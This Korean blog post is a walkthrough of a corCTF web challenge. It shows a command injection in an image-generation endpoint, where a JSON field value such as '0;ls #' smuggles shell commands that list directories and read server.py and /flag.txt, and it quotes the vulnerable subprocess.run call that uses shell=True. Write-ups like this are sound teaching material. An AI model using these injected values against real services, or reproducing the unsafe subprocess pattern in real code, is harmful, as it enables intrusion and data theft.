티스토리 뷰

728x90
반응형

문제 개요

문제 설명은 위와 같습니다. 링크에 접속해보면 아래와 같은 페이지가 보입니다.

페이지에서 이미지 몇개를 드래그 해서 개구리를 꾸미고 Generate 버튼을 눌러 이미지로 변환할 수 있는 기능만 유일하게 존재합니다. 그리고 아래는 Generate 버튼을 눌렀을 때 전송되어지는 HTTP 페이로드입니다.

보다시피 아래와 같은 JSON 요청을 보냈을 때 base64 인코딩된 이미지 파일이 Response로 돌아오는 것을 볼 수 있습니다.

[{"type":"msnose.png","pos":{"x":0,"y":0}}]

여기서 type 값을 임의의 값으로 수정하게 되면 아래와 같이 나옵니다.

존재하는 이미지 파일을 shell command 에 넘긴다는 것 같습니다. 그 말은 command injection의 여지가 있다는 말과 같습니다. 그래서 일단 존재하는 파일 이름이어야 하기 때문에 type 말고 pos 값을 변경해보았습니다.

[{"type":"msnose.png","pos":{"x":0,"y":"domdomi"}}]

비교적 뒤에 있는 y 값을 문자열로 변경하고 전송해보았습니다.

HTTP/2 500 Internal Server Error
Content-Type: text/html; charset=utf-8
Date: Mon, 08 Aug 2022 11:56:53 GMT
Server: gunicorn
Content-Length: 140

Something went wrong :
b"convert-im6.q16: invalid argument for option `-geometry': +0+domdomi @ error/convert.c/ConvertImageCommand/1672.\n"

그랬더니 위와 같은 오류가 출력되었고, 입력한 domdomi 라는 문자열이 해당 위치에 삽입되었음을 알 수 있습니다.

이제 shell 명령의 끝을 의미하는 세미콜론(;)을 넣어주고 그 다음에 linux 명령어 ls 를 입력하고, 뒤는 주석으로 끝맺음 해보겠습니다.

[{"type":"msnose.png","pos":{"x":0,"y":"0;ls #"}}]

그랬더니 아래와 같이 명령어의 결과가 출력된 것을 확인할 수 있습니다.

HTTP/2 200 OK
Content-Type: text/html; charset=utf-8
Date: Mon, 08 Aug 2022 11:59:14 GMT
Server: gunicorn
Content-Length: 43

{"msfrog": "fe\nimg\nserver.py\nwsgi.py\n"}

server.py 소스코드를 cat server.py 명령어로 조회해보면 사용자 input으로 subprocess.run 함수에 문자열 포맷팅 되고 있는 것을 확인할 수 있었습니다.

result = subprocess.run(f"convert img/base.png {' '.join(composites)} -trim png:- | base64 -w0", capture_output=True, shell=True)

그래서 ls / 명령어로 root directory 에 flag.txt 가 있는 걸 확인할 수 있었고

{"msfrog": "app\nbin\nboot\ndev\netc\nflag.txt\nhome\nlib\nlib32\nlib64\nlibx32\nmedia\nmnt\nopt\nproc\nroot\nrun\nsbin\nsrv\nsys\ntmp\nusr\nvar\n"}

cat /flag.txt 로 flag를 구할 수 있었습니다.

{"msfrog": "corctf{sh0uld_h4ve_r3nder3d_cl13nt_s1de_:msfrog:}\n"}

 

지금까지 command injection 취약점에 대한 내용이 담긴 문제를 풀이해보았습니다.

 

- 끝 -

728x90
반응형
댓글